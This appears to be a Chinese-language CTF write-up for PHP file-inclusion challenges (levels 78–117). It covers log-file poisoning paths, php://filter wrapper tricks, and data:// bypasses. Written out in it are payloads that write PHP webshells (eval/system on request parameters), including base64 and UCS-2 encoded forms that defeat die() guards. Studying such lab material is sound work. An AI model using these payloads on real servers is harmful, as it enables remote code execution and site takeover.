目錄
文件包含
78-79:最基礎的文件包含,使用偽協議,大小寫繞過或者通配符繞過,再或者使用其他方法
?編輯80-81:可采用日志文件繞過或者大小寫繞過(81只能日志文件繞過)
####80-86:因為條件競爭只在晚上十一點半后開啟到早上七點多,所以暫時先不做
87:這里要利用到php偽協議的特性
88:使用data協議通過base64編碼繞過
116:通過binwalk掃描文件,然后在用foremost 文件名 -o 要輸出的文件 精準輸出需要的文件####有時候binwalk不夠準確
117:還是使用php偽協議的特性
文件包含
78-79:最基礎的文件包含,使用偽協議,大小寫繞過或者通配符繞過,再或者使用其他方法
80-81:可采用日志文件繞過或者大小寫繞過(81只能日志文件繞過)
日志文件路徑:前提是可以訪問到日志文件
/
var
/log
/apache/access.log/var/log/apache2/access.log
/var/log/nginx/access.log
大小寫繞過,例如PHP://filter
####80-86:因為條件競爭只在晚上十一點半后開啟到早上七點多,所以暫時先不做
87:這里要利用到php偽協議的特性
####看不懂的話可以去看這篇文章來了解php的特性談一談php://filter的妙用 | 離別歌 (leavesongs.com)
這里使用urldecode來解碼file,那么傳入數據的時候就要進行url編碼
那么這些過濾就沒用了不用管了
payload:
原:file=php://filter/write=convert.base64-decode/resource=a.php
url轉換兩次后:####瀏覽器會先自動url解碼一次,第二次則是urldecode
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30
原content=<?php eval(system($_GET[1]));?>
content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==
利用php偽協議的特性
- base64指定只能只用a-z A-Z 0-9的字符
所以<?php die('大佬別秀了');?>就會變成phpdie,這里就會直接讓他的die無效化- 應為base64只能處理4的倍數的字符串,所以需要在前面多加兩個字符
最后的連接起來的效果應該是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==
88:使用data協議通過base64編碼繞過
116:通過binwalk掃描文件,然后在用foremost 文件名 -o 要輸出的文件 精準輸出需要的文件####有時候binwalk不夠準確
過濾以下協議,當沒有填入file函數的時候file=sp2.mp4
117:還是使用php偽協議的特性
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
從UCS-2LE
編碼轉換為UCS-2BE
編碼,這個過濾器需要php支持iconv
通過這樣可以將<?php?die();?>打亂
而contents傳入的數據只需要提前以UCS-2LE編碼傳入轉換回來就可以
contents=?<hp pvela$(P_SO[T]a;)>?